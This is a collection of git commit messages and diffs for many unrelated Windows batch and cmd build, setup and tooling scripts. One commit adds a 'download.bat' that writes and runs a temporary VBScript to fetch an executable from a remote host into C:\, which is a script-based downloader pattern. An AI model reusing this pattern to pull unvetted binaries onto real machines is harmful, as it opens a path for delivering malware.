+@REM Note that "dt_socket" is the default instead of "dt_shmem"
+@REM because eclipse does not support "dt_shmem".
+set JPDA_TRANSPORT=dt_socket
 :gotJpdaTransport
 if not "%JPDA_ADDRESS%" == "" goto gotJpdaAddress
-set JPDA_ADDRESS=jdbconn
+set JPDA_ADDRESS=8000
 :gotJpdaAddress
 shift
 :noJpda


Update aci.cmd

Update aci.cmd

added "--port 80" on @REM create aci - Line 5

--- Docker-ACS/Challenges/ACI/aci.cmd
+++ Docker-ACS/Challenges/ACI/aci.cmd
@@ -2,7 +2,7 @@
 az group create --name myResourceGroup --location westeurope

 @REM create aci
-az container create --name mycontainer --image tutum/hello-world --resource-group myResourceGroup --ip-address public
+az container create --name mycontainer --image tutum/hello-world --resource-group myResourceGroup --ip-address public --port 80

 @REM show details and public ip
 az container show --name mycontainer --resource-group myResourceGroup


Add database initialization batch file.

Add database initialization batch file.

error: pathspec 'dbinit/dbinit.bat' did not match any file(s) known to git

--- dbinit/dbinit.bat
+++ dbinit/dbinit.bat
@@ -0,0 +1,2 @@
+mongoimport -d langfun -c decks --type json --jsonArray --drop decks.json
+mongoimport -d langfun -c scores --type json --jsonArray --drop scores.json


deliting spaces near labels in train-remmaped.csv

error: pathspec 'delspace.bat' did not match any file(s) known to git

--- delspace.bat
+++ delspace.bat
@@ -0,0 +1 @@
+sed -i "s/, /,/g" train-remapped.csv > train-sklearn.csv


Hide CS1951 compiler warnings

Hide CS1951 compiler warnings

--- build/build_gribapi.cmd
+++ build/build_gribapi.cmd
@@ -105,7 +105,7 @@

 "%FrameworkDir%\%FrameworkVersion%\msbuild.exe" "%BASEDIR%src\GribApi.NET\Grib.Api\Grib.Api.csproj"  /property:Configuration="%CONFIG%" /property:Platform="AnyCPU" /tv:4.0 %REBUILD% /p:NoWarn="1591" /nowarn:1591

-"%FrameworkDir%\%FrameworkVersion%\msbuild.exe" "%BASEDIR%src\GribApi.NET\Grib.Api.Tests\Grib.Api.Tests.csproj"  /property:Configuration="%CONFIG%" /property:Platform="x64" /tv:4.0 %REBUILD%
+"%FrameworkDir%\%FrameworkVersion%\msbuild.exe" "%BASEDIR%src\GribApi.NET\Grib.Api.Tests\Grib.Api.Tests.csproj"  /property:Configuration="%CONFIG%" /property:Platform="x64" /tv:4.0 %REBUILD% /p:NoWarn="1591"

 @ECHO OFF
 if ERRORLEVEL 1 (
@@ -178,7 +178,7 @@
 )
 @ECHO ON

-"%FrameworkDir%\%FrameworkVersion%\msbuild.exe" "%BASEDIR%src\GribApi.NET\Grib.Api.Tests\Grib.Api.Tests.csproj"  /property:Configuration="%CONFIG%" /property:Platform="x86" /tv:4.0 %REBUILD%
+"%FrameworkDir%\%FrameworkVersion%\msbuild.exe" "%BASEDIR%src\GribApi.NET\Grib.Api.Tests\Grib.Api.Tests.csproj"  /property:Configuration="%CONFIG%" /property:Platform="x86" /tv:4.0 %REBUILD% /p:NoWarn="1591"

 @ECHO OFF
 if ERRORLEVEL 1 (


added 2 line to update submodule

added 2 line to update submodule

--- build_windows_dependencies.bat
+++ build_windows_dependencies.bat
@@ -18,6 +18,8 @@
 cd ../..

 cd alphamind\pfopt
+git submodule init
+git submodule update

 set BUILD_TEST=OFF
 call build_windows.bat


Change version for release

Change version for release

--- libexec/rbenv---version.bat
+++ libexec/rbenv---version.bat
@@ -15,4 +15,4 @@
 EXIT /B
 )

-echo rbenv 0.0.4-05
+echo rbenv 0.0.5-06


run the tests in a subfolder

run the tests in a subfolder

--- appveyor-test.cmd
+++ appveyor-test.cmd
@@ -1,3 +1,6 @@
-coverage run -m nose.core -v --exclude-dir=pyface/ui/wx
+mkdir testrun
+copy .coveragerc testrun/
+cd testrun
+if %errorlevel% neq 0 exit /b %errorlevel%
 if %errorlevel% neq 0 exit /b %errorlevel%
 coverage report --omit=*wx*


add make.bat

add make.bat

error: pathspec 'dev/make.bat' did not match any file(s) known to git

--- dev/make.bat
+++ dev/make.bat
@@ -0,0 +1,15 @@
+@echo off
+
+if "%1" == "sums" (
+	vagrant up && vagrant ssh --command "/ohana/dev/calculate_sums.sh"
+	if errorlevel 1 exit /b 1
+	goto end
+)
+
+if "%1" == "clean" (
+	vagrant destroy --force
+	if errorlevel 1 exit /b 1
+	goto end
+)
+
+:end


Use native set env for win

Use native set env for win

--- .ci/vsenv.bat
+++ .ci/vsenv.bat
@@ -36,6 +36,6 @@
 rem See: https://stackoverflow.com/questions/39183272/loop-through-all-environmental-variables-and-take-actions-depending-on-prefix
 setlocal
 for /f "delims== tokens=1,2" %%a in ('set') do (
-  Write-Output "%%a=%%b" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append
+  SET "%%a=%%b"
 )
 endlocal


add /m to build

add /m to build

--- SimpleMusicPlayer/Build.cmd
+++ SimpleMusicPlayer/Build.cmd
@@ -1,5 +1,5 @@
 @echo on
 call "%VS120COMNTOOLS%vsvars32.bat"

-msbuild.exe /ToolsVersion:4.0 "SimpleMusicPlayer.sln" /p:StrongName=True /p:configuration=Release /p:platform=x86
-msbuild.exe /ToolsVersion:4.0 "SimpleMusicPlayer.sln" /p:StrongName=True /p:configuration=Release /p:platform="Any CPU"
+msbuild.exe /ToolsVersion:4.0 "SimpleMusicPlayer.sln" /p:StrongName=True /p:configuration=Release /p:platform=x86 /m
+msbuild.exe /ToolsVersion:4.0 "SimpleMusicPlayer.sln" /p:StrongName=True /p:configuration=Release /p:platform="Any CPU" /m


Updated tunTests.bat

Updated tunTests.bat

--- Scripts/runTests.bat
+++ Scripts/runTests.bat
@@ -10,7 +10,7 @@
 )

 REM Compile tests.
-CALL %msbuild.exe% Tests\Tests.csproj /property:Configuration=Debug /verbosity:minimal
+CALL %msbuild.exe% Tests\Tests.csproj /property:Configuration=Release /verbosity:minimal

 IF NOT %ERRORLEVEL% == 0 (
 	ECHO Error %ERRORLEVEL%: Could not compile tests.
@@ -18,4 +18,4 @@
 )

 REM Run tests.
-Tests\Libraries\NSpec\NSpecRunner.exe Tests\bin\Debug\Tests.dll
+Tests\bin\Release\Tests.exe


Load Applications list into a Folder for viewing

error: pathspec 'batch/ViewWindows10AppsInFolder.bat' did not match any file(s) known to git

--- batch/ViewWindows10AppsInFolder.bat
+++ batch/ViewWindows10AppsInFolder.bat
@@ -0,0 +1,2 @@
+REM Load all Windows Apps / Programs in a folder to view icons
+%windir%\explorer.exe shell:::{4234d49b-0245-4df3-b780-3893943456e1}


add environment variables for dbus daemon

git-svn-id: 65dd0ccd495961f396d5302e5521154b071f0302@1079 5b2332b8-efa3-11de-8684-7d64432d61a3

--- bin/startdbus.bat
+++ bin/startdbus.bat
@@ -1 +1,8 @@
-telepathy\dbus-daemon.exe --config-file=data\session.conf+:: session bus address
+set DBUS_SESSION_BUS_ADDRESS=tcp:host=localhost,port=12434
+
+:: system bus address
+set DBUS_SYSTEM_BUS_DEFAULT_ADDRESS=tcp:host=localhost,port=12434
+
+:: Launch dbus daemon application
+telepathy\dbus-daemon.exe --config-file=data\session.conf


Add zip file unpacking to FMILibrary windows setup script

--- Dependencies/setupFMILibrary.bat
+++ Dependencies/setupFMILibrary.bat
@@ -6,9 +6,20 @@

 set basedir=%~dp0
 set name=FMILibrary
+set zipdir=%name%-2.0.2
+set zipfile=tools\%zipdir%-src.zip
 set codedir=%basedir%\%name%_code
 set builddir=%basedir%\%name%_build
 set installdir=%basedir%\%name%
+
+
+REM Unpack
+echo.
+echo Clearing old directory (if it exists)
+if exist %codedir% rd /s/q %codedir%
+echo Unpacking %zipfile%
+tools\7z\7za.exe x %zipfile% -y > nul
+move %zipdir% %codedir%

 set OLDPATH=%PATH%


tools: Add BAT file for recording of binary trace

Existing batch file records binary trace using TraceView that
shall be copied from WDK, which is not always installed on end
user machine. Added batch file allows recording without additional
tools, using built-in logman application.

Signed-off-by: Yuri Benditovich <9668326cb042de5d91fd7679dac7ca5ea402812c@daynix.com>
Signed-off-by: Dmitry Fleytman <f50f56ffad4b379c2a89812e98b14900ef87e9ea@redhat.com>

error: pathspec 'Tools/Trace/UsbDkLogman.bat' did not match any file(s) known to git

--- Tools/Trace/UsbDkLogman.bat
+++ Tools/Trace/UsbDkLogman.bat
@@ -0,0 +1,14 @@
+echo off
+pushd "%~dp0"
+logman stop usbdkm -ets >nul 2>&1
+logman delete usbdkm -ets >nul 2>&1
+logman create trace usbdkm -o usbdk.etl -ow -ets
+logman update usbdkm -p {88e1661f-48b6-410f-b096-ba84e9f0656f} 0x7fffffff 6 -ets
+echo Recording started.
+echo Reproduce the problem, then press ENTER
+pause > nul
+logman stop usbdkm -ets
+dir usbdk.etl
+echo Please collect usbdk.etl file now
+pause
+popd


chore: change nuget pattern name

chore: change nuget pattern name

--- nuspec/push.bat
+++ nuspec/push.bat
@@ -1 +1 @@
-nuget push ThemifyIcons.WPF.*.nupkg -Source https://www.nuget.org/api/v2/package+nuget push Themify.Icons.WPF.*.nupkg -Source https://www.nuget.org/api/v2/package


Update license path in packaging script

Update license path in packaging script

The packaging script was still trying to copy sdk_license.rtf from the
10240 SDK which is *so* last year. I copy it from 10586 now - good for
another month or two I guess.

--- package_etw.bat
+++ package_etw.bat
@@ -20,7 +20,7 @@
 mkdir %destdir%\third_party\wpt10
 xcopy "%wpt10%%wptredistmsi%" %destdir%\third_party\wpt10
 @if errorlevel 1 goto copyfailure
-xcopy "%wpt10%Licenses\10.0.10240.0\sdk_license.rtf" %destdir%\third_party\wpt10
+xcopy "%wpt10%Licenses\10.0.10586.0\sdk_license.rtf" %destdir%\third_party\wpt10
 @if errorlevel 1 goto copyfailure
 ren %destdir%\third_party\wpt10\sdk_license.rtf LICENSE.rtf


windows cmd script working

windows cmd script working

--- bidmach.cmd
+++ bidmach.cmd
@@ -4,7 +4,7 @@
 :: Set as much memory as possible
 (SET JAVA_OPTS=-Xmx12G -Xms128M)
 :: Fix these if needed
-SET JCUDA_VERSION=0.5.5
+SET JCUDA_VERSION=0.6.5
 SET LIBDIR=%CD%\lib
 SET JCUDA_LIBDIR=%LIBDIR%
 SET PATH=%LIBDIR%;%PATH%
@@ -13,6 +13,7 @@

 SET JCUDA_LIBS=%JCUDA_LIBDIR%\jcuda-%JCUDA_VERSION%.jar;%JCUDA_LIBDIR%\jcublas-%JCUDA_VERSION%.jar;%JCUDA_LIBDIR%\jcufft-%JCUDA_VERSION%.jar;%JCUDA_LIBDIR%\jcurand-%JCUDA_VERSION%.jar;%JCUDA_LIBDIR%\jcusparse-%JCUDA_VERSION%.jar

-SET ALL_LIBS=%BIDMACH_LIBS%;%JCUDA_LIBS%;%JAVA_HOME%\lib\tools.jar
+SET ALL_LIBS=%LIBDIR%\IScala.jar;%BIDMACH_LIBS%;%JCUDA_LIBS%;%JAVA_HOME%\lib\tools.jar
+SET JAVA_NATIVE='-Djava.library.path='%LIBDIR%;%PATH%

-scala -nobootcp -cp "%ALL_LIBS%" -Yrepl-sync -i %LIBDIR%\bidmach_init.scala+%CD%\scripts\scala\scala.bat -toolcp "%ALL_LIBS%" -Yrepl-sync -i %LIBDIR%\bidmach_init.scala


Fixed gdi.bat

Fixed gdi.bat

--- bin/gdi.bat
+++ bin/gdi.bat
@@ -22,7 +22,7 @@
 goto error

 :execute
-%JAVA_HOME%\bin\java.exe  -Xmx256M -Dlog4j.configuration=%PRJ_BIN%..\log4j.configuration -Dderby.system.home=%PRJ_BIN%..\db -Djava.io.tmpdir=%PRJ_BIN%..\tmp -classpath %PRJ_BIN%..;%PRJ_BIN%..\cli\target\cli-1.0-SNAPSHOT-jar-with-dependencies.jar com.gooddata.processor.GdcDI %*
+"%JAVA_HOME%\bin\java.exe" -Xmx512M -Dlog4j.configuration=%PRJ_BIN%..\log4j.configuration -Dderby.system.home=%PRJ_BIN%..\db -Djava.io.tmpdir=%PRJ_BIN%..\tmp -classpath %PRJ_BIN%..;%PRJ_BIN%..\cli\target\cli-1.0-SNAPSHOT-jar-with-dependencies.jar com.gooddata.processor.GdcDI %*
 goto end

 :error


Fix release script

Fix release script

--- build-release.bat
+++ build-release.bat
@@ -1,5 +1,5 @@
 del *.xpi
-cmd /k jpm xpi
+cmd /c jpm xpi
 rename jid0-ziK34XHkBWB9ezxd4l9Q1yC7RP0*.xpi jid0-ziK34XHkBWB9ezxd4l9Q1yC7RP0@jetpack.xpi
 7z d jid0-ziK34XHkBWB9ezxd4l9Q1yC7RP0@jetpack.xpi "Node.js command prompt.lnk" build.bat
 pause


commit on 31/01/2019 at 18:46:11

commit on 31/01/2019 at 18:46:11

--- ansys-APDL/fiberCPstress.cmd
+++ ansys-APDL/fiberCPstress.cmd
@@ -95,22 +95,31 @@

 ! Lines

-L, 1, 5            !1 -- S side, fiber
-L, 5, 2            !2 -- S side, matrix
-L, 2, 8            !3 -- E side, 90 ply
-L, 8, 3            !3 -- E side, 0 ply
-L, 3, 4            !4 -- N side
-L, 7, 8            !5 -- Ply interface
+L, 1, 5                                              !1 -- S side, fiber
+L, 5, 2                                              !2 -- S side, matrix
+L, 2, 8                                              !3 -- E side, 90 ply
+L, 8, 3                                              !4 -- E side, 0 ply
+L, 3, 4                                              !5 -- N side
+L, 7, 8                                              !6 -- Ply interface
+
+L, 6, 9                                              !7 -- W side
+L, 4, 8+3*(nAb-1)+3                                  !8 -- W side
+
+*DO, i, 1, nAb-1, 1
+ L, 8+3*(i-1)+3, 8+3*(i-1)+4                         ! W side
+*ENDDO

 *DO, i, 1, nAb, 1
- K, 8+3*(i-1)+1, 0.0, L*i-Rf         ! Lower node fiber i
- K, 8+3*(i-1)+2, 0.0, L*i            ! Center fiber i
- K, 8+3*(i-1)+3, 0.0, L*i+Rf         ! Upper node fiber i
+ L, 8+3*(i-1)+1, 8+3*(i-1)+3                         ! W side
 *ENDDO

 ! Arcs

-LARC, 5, 6, 1, Rf !7 -- fiber/matrix interface
+LARC, 5, 6, 1, Rf                                    ! Fiber/matrix interface
+
+*DO, i, 1, nAb, 1
+ LARC, 8+3*(i-1)+1, 8+3*(i-1)+3, 8+3*(i-1)+2, Rf     ! Fiber/matrix interface
+*ENDDO

 ! Areas


fix typo

fix typo

--- deployvw.bat
+++ deployvw.bat
@@ -32,14 +32,14 @@
 :usage
 echo Error in script usage. The correct usage is:
 echo     %0 [option]
-echo where [option] is: x86 ^| x64
+echo where [option] is: x86 ^| x64
 echo:
 echo For example:
 echo     %0 x86
 goto :eof

 :missing
-echo The varhiable "VSINSTALLDIR"  is missing.  Visual Studio 2013 might not be installed.
+echo The variable "VSINSTALLDIR"  is missing.  Visual Studio 2013 might not be installed.
 goto :eof

-:eof+:eof


run build.cmd on the back of pre-myget.cmd

--- pre-myget.cmd
+++ pre-myget.cmd
@@ -1 +1,3 @@
-GitVersion /output buildserver+GitVersion /output buildserver
+
+build.cmd


Updating makedist to include libglade dll's

--- win32/makedist.cmd
+++ win32/makedist.cmd
@@ -17,6 +17,8 @@
 copy %SystemRoot%\system32\glib-1.3.dll winnt\system32
 copy %SystemRoot%\system32\iconv-1.3.dll winnt\system32
 copy %SystemRoot%\system32\gnu-intl.dll winnt\system32
+copy %SystemRoot%\system32\libglade-0.14.dll winnt\system32
+copy %SystemRoot%\system32\libxml.dll winnt\system32
 copy \php\php-gtk\test\fileselection.php samples
 copy \php\php-gtk\test\gtk.php samples
 copy \php\php-gtk\test\hello.php samples
@@ -25,5 +27,5 @@
 copy \php\php-gtk\test\testgtkrc samples
 copy \php\php-gtk\test\testgtkrc2 samples
 copy \php\php-gtk\win32\README.txt
-"c:\Program Files\WinZip\WZZip" -ampr php-gtk-0.0.3-win32.zip
+"c:\Program Files\WinZip\WZZip" -ampr php-gtk-0.1.1a-win32.zip
 cd \php\php-gtk\win32


Create the _static folder if it doesn't exist already; Sphinx build warns if it's not there, even though it's not copying anything into it.

--- docs/build.cmd
+++ docs/build.cmd
@@ -1,2 +1,3 @@
+IF NOT EXIST _static mkdir _static
 python -c "import sphinx; sphinx.main ([None, '-b', 'html', '.', '.\_build'])"
 pause


Remove the Sphinx make.bat

Remove the Sphinx make.bat

Former-commit-id: b06b01a8c939d38fb7212b78e63d9abd7a4e220d [formerly 3f4085e6c0b769b368a1f97b16981e421ea4a670] [formerly 3f4085e6c0b769b368a1f97b16981e421ea4a670 [formerly 7f320dde2451524b971ba2bd6ec75bbb21c3dd08]]
Former-commit-id: e5767ba2b2dae7b89dcfe0339d6209faa303493c
Former-commit-id: f5f8735971f9aee353e1d1ebef2773435a08a5bf

--- doc/make.bat
+++ doc/make.bat
@@ -1,155 +0,0 @@
-@ECHO OFF
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set BUILDDIR=build
-set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% source
-if NOT "%PAPER%" == "" (
-	set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
-)
-
-if "%1" == "" goto help
-
-if "%1" == "help" (
-	:help
-	echo.Please use `make ^<target^>` where ^<target^> is one of
-	echo.  html       to make standalone HTML files
-	echo.  dirhtml    to make HTML files named index.html in directories
-	echo.  singlehtml to make a single large HTML file
-	echo.  pickle     to make pickle files
-	echo.  json       to make JSON files
-	echo.  htmlhelp   to make HTML files and a HTML help project
-	echo.  qthelp     to make HTML files and a qthelp project
-	echo.  devhelp    to make HTML files and a Devhelp project
-	echo.  epub       to make an epub
-	echo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter
-	echo.  text       to make text files
-	echo.  man        to make manual pages
-	echo.  changes    to make an overview over all changed/added/deprecated items
-	echo.  linkcheck  to check all external links for integrity
-	echo.  doctest    to run all doctests embedded in the documentation if enabled
-	goto end
-)
-
-if "%1" == "clean" (
-	for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
-	del /q /s %BUILDDIR%\*
-	goto end
-)
-
-if "%1" == "html" (
-	%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/html.
-	goto end
-)
-
-if "%1" == "dirhtml" (
-	%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
-	goto end
-)
-
-if "%1" == "singlehtml" (
-	%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
-	goto end
-)
-
-if "%1" == "pickle" (
-	%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
-	echo.
-	echo.Build finished; now you can process the pickle files.
-	goto end
-)
-
-if "%1" == "json" (
-	%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
-	echo.
-	echo.Build finished; now you can process the JSON files.
-	goto end
-)
-
-if "%1" == "htmlhelp" (
-	%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
-	echo.
-	echo.Build finished; now you can run HTML Help Workshop with the ^
-.hhp project file in %BUILDDIR%/htmlhelp.
-	goto end
-)
-
-if "%1" == "qthelp" (
-	%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
-	echo.
-	echo.Build finished; now you can run "qcollectiongenerator" with the ^
-.qhcp project file in %BUILDDIR%/qthelp, like this:
-	echo.^> qcollectiongenerator %BUILDDIR%\qthelp\OpenQuake.qhcp
-	echo.To view the help file:
-	echo.^> assistant -collectionFile %BUILDDIR%\qthelp\OpenQuake.ghc
-	goto end
-)
-
-if "%1" == "devhelp" (
-	%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
-	echo.
-	echo.Build finished.
-	goto end
-)
-
-if "%1" == "epub" (
-	%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
-	echo.
-	echo.Build finished. The epub file is in %BUILDDIR%/epub.
-	goto end
-)
-
-if "%1" == "latex" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	echo.
-	echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "text" (
-	%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
-	echo.
-	echo.Build finished. The text files are in %BUILDDIR%/text.
-	goto end
-)
-
-if "%1" == "man" (
-	%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
-	echo.
-	echo.Build finished. The manual pages are in %BUILDDIR%/man.
-	goto end
-)
-
-if "%1" == "changes" (
-	%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
-	echo.
-	echo.The overview file is in %BUILDDIR%/changes.
-	goto end
-)
-
-if "%1" == "linkcheck" (
-	%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
-	echo.
-	echo.Link check complete; look for any errors in the above output ^
-or in %BUILDDIR%/linkcheck/output.txt.
-	goto end
-)
-
-if "%1" == "doctest" (
-	%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
-	echo.
-	echo.Testing of doctests in the sources finished, look at the ^
-results in %BUILDDIR%/doctest/output.txt.
-	goto end
-)
-
-:end


add download.bat;

add download.bat;

error: pathspec 'download.bat' did not match any file(s) known to git

--- download.bat
+++ download.bat
@@ -0,0 +1,44 @@
+rem Copy following content directly to Command Prompt and it will download
+rem binary file to your location. If your location is in C:, make sure
+rem you have Administrator privileges to run the command.
+
+(echo|set /p="strFileURL = "http://d.cgh.io/FileTransfer.exe""
+echo.
+echo|set /p="strHDLocation = "C:\FileTransfer.exe""
+echo.
+echo|set /p="Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")"
+echo.
+echo|set /p="objXMLHTTP.open "GET", strFileURL, false"
+echo.
+echo|set /p="objXMLHTTP.send()"
+echo.
+echo|set /p="If objXMLHTTP.Status = 200 Then"
+echo.
+echo|set /p="Set objADOStream = CreateObject("ADODB.Stream")"
+echo.
+echo|set /p="objADOStream.Open"
+echo.
+echo|set /p="objADOStream.Type = 1"
+echo.
+echo|set /p="objADOStream.Write objXMLHTTP.ResponseBody"
+echo.
+echo|set /p="objADOStream.Position = 0"
+echo.
+echo|set /p="Set objFSO = Createobject("Scripting.FileSystemObject")"
+echo.
+echo|set /p="If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation"
+echo.
+echo|set /p="Set objFSO = Nothing"
+echo.
+echo|set /p="objADOStream.SaveToFile strHDLocation"
+echo.
+echo|set /p="objADOStream.Close"
+echo.
+echo|set /p="Set objADOStream = Nothing"
+echo.
+echo|set /p="End if"
+echo.
+echo|set /p="Set objXMLHTTP = Nothing") > "C:\tmp.download.vbs"
+cscript.exe "C:\tmp.download.vbs"
+del "C:\tmp.download.vbs"
+exit


Only set EDK_TOOLS_PATH if it is not already set

git-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3931 6f19259b-4bc3-4df7-8a09-765794883524

--- edksetup.bat
+++ edksetup.bat
@@ -277,7 +277,7 @@

 :NewBuild
 @IF NOT EXIST "BaseTools\toolsetup.bat" goto AntBuild
-@set EDK_TOOLS_PATH=%WORKSPACE%\BaseTools
+if not defined EDK_TOOLS_PATH set EDK_TOOLS_PATH=%WORKSPACE%\BaseTools
 @call BaseTools\toolsetup.bat
 @goto end


Spring cleanup

Spring cleanup

--- module/shaders/src/doit.bat
+++ module/shaders/src/doit.bat
@@ -1,6 +0,0 @@
-@echo off
-set PATH=C:\daten\install\3d\Appleseed\appleseed\bin;%PATH%
-
-python compile_shaders.py C:\daten\install\3d\Appleseed\appleseed\bin\oslc.exe
-
-pause


Add VS2019 flag to install to bypass array error, this is temporary and will get purged again with the final move to 2022

--- install-VS2019.bat
+++ install-VS2019.bat
@@ -30,7 +30,7 @@
 echo Building Builder.sln
 "%MSBuild%" Builder.sln /nologo /maxcpucount /nodeReuse:false /verbosity:minimal /t:Restore;Build

-start "Cosmos Builder" "source\Cosmos.Build.Builder\bin\Debug\Cosmos.Build.Builder.exe" "-VSPATH=%InstallDir%" %*
+start "Cosmos Builder" "source\Cosmos.Build.Builder\bin\Debug\Cosmos.Build.Builder.exe" "-VSPATH=%InstallDir%" "--vs2019" %*
 exit

 :seven


Pull latest changes before running

Pull latest changes before running

--- upsertDatasets.bat
+++ upsertDatasets.bat
@@ -1,2 +1,4 @@
 cd C:\projects\lexington-pentaho-etl\
+call git pull origin master
+:: set KETTLE_HOME="C:\projects\lexington-pentaho-etl\.kettle\"
 call data-integration\Pan.bat -level=Basic -file "pull-last-day-of-foreclosure-sales.ktr"


makefile

makefile

--- application/Make.cmd
+++ application/Make.cmd
@@ -1,161 +1,157 @@
-@ECHO OFF
-SETLOCAL
-SET command=%1
-SET verbose=1
-
-REM all
-IF "%command%"=="all" (
-	SET var=deployment_production
-)
-
-REM building application
-IF "%command%"=="build" (
-	REM create empty git repository
-	IF NOT EXIST ".git" (
-		call git init
-	)
-	REM granting permissions
-	CALL :permissions
-	REM run composer for the first time
-	IF NOT EXIST "libraries/vendor/Numbers/Framework/System/Managers" (
-		call :composer
-	)
-	REM process dependencies
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency commit 0 1
-	REM run composer for the second time
-	call :composer
-	REM granting permissions
-	CALL :permissions
-	REM deploying code in production mode
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment production 0 1
-)
-
-REM ----------------------------------------------------------------------------------------------------------------
-REM --- Dependencies -----------------------------------------------------------------------------------------------
-REM ----------------------------------------------------------------------------------------------------------------
-IF "%command%"=="dependency_test" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency test "%verbose%"
-)
-IF "%command%"=="dependency_commit" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php dependency commit "%verbose%"
-)
-
-REM ----------------------------------------------------------------------------------------------------------------
-REM --- Deployment commands ----------------------------------------------------------------------------------------
-REM ----------------------------------------------------------------------------------------------------------------
-IF "%command%"=="deployment_production" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment production "%verbose%"
-)
-IF "%command%"=="deployment_development" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php deployment development "%verbose%"
-)
-
-REM ----------------------------------------------------------------------------------------------------------------
-REM --- Schema & migration commands --------------------------------------------------------------------------------
-REM ----------------------------------------------------------------------------------------------------------------
-IF "%command%"=="schema_test" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema test "%verbose%"
-)
-IF "%command%"=="schema_commit" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema commit "%verbose%"
-)
-IF "%command%"=="schema_drop" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php schema drop "%verbose%"
-)
-IF "%command%"=="migration_code_test" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code test "%verbose%"
-)
-IF "%command%"=="migration_code_commit" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code commit "%verbose%"
-)
-IF "%command%"=="migration_code_drop" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_code drop "%verbose%"
-)
-IF "%command%"=="migration_db_test" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db test "%verbose%"
-)
-IF "%command%"=="migration_db_commit" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db commit "%verbose%"
-)
-IF "%command%"=="migration_db_rollback" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php migration_db rollback "%verbose%"
-)
-
-REM --------------------------------------------------------------------------------------------------------------------------------------------
-REM --- Unit testing commands ------------------------------------------------------------------------------------------------------------------
-REM --------------------------------------------------------------------------------------------------------------------------------------------
-IF "%command%"=="unit_testing_application" (
-	call phpunit --debug --configuration application/overrides/unit_tests/application.xml
-)
-IF "%command%"=="unit_testing_submodules" (
-	call phpunit --debug --configuration application/overrides/unit_tests/submodules.xml
-)
-
-REM --------------------------------------------------------------------------------------------------------------------------------------------
-REM --- Cache commands -------------------------------------------------------------------------------------------------------------------------
-REM --------------------------------------------------------------------------------------------------------------------------------------------
-IF "%command%"=="cache_drop" (
-	call php libraries/vendor/Numbers/Framework/System/Managers/Manager.php cache drop "%verbose%"
-)
-
-REM --------------------------------------------------------------------------------------------------------------------------------------------
-REM --- Help commands --------------------------------------------------------------------------------------------------------------------------
-REM --------------------------------------------------------------------------------------------------------------------------------------------
-IF "%command%"=="help" (
-	echo "Available commands:"
-REM	echo   Development commands:
-REM	echo		make development_test - run a test php script from command line
-REM	echo		make development_symlink_framework - link to numbers framework repositories
-	echo "  Deployment commands:"
-	echo "		make deployment_production - deploying code in production mode"
-	echo "		make deployment_development - deploying code in development mode"
-	echo "  Unit testing commands:"
-	echo "		make unit_testing_application - test application"
-	echo "		make unit_testing_submodules - test framework and submodules"
-	echo "  Schema & migration commands:"
-	echo "		make schema_test - test for changes between code and database"
-	echo "		make schema_commit - commit changes from code to database"
-	echo "		make schema_drop - drop schema in database (empty database)"
-	echo "		make migration_code_test - test for changes between code and saved migrations"
-	echo "		make migration_code_commit - commit changes from code to migrations"
-	echo "		make migration_code_drop - drop migrations from the code"
-	echo "		migration_db_test - test migration between code and database"
-	echo "		migration_db_commit - commit changes from migrations to database"
-	echo "		migration_db_rollback - rollback to particular migration"
-	echo "  Dependencies:"
-	echo "		make dependency_test - testing dependencies in test mode"
-	echo "		make dependency_commit - commit dependency changes"
-	echo "  Caches:"
-	echo "		make cache_drop - reset caches"
-	echo "  Other:"
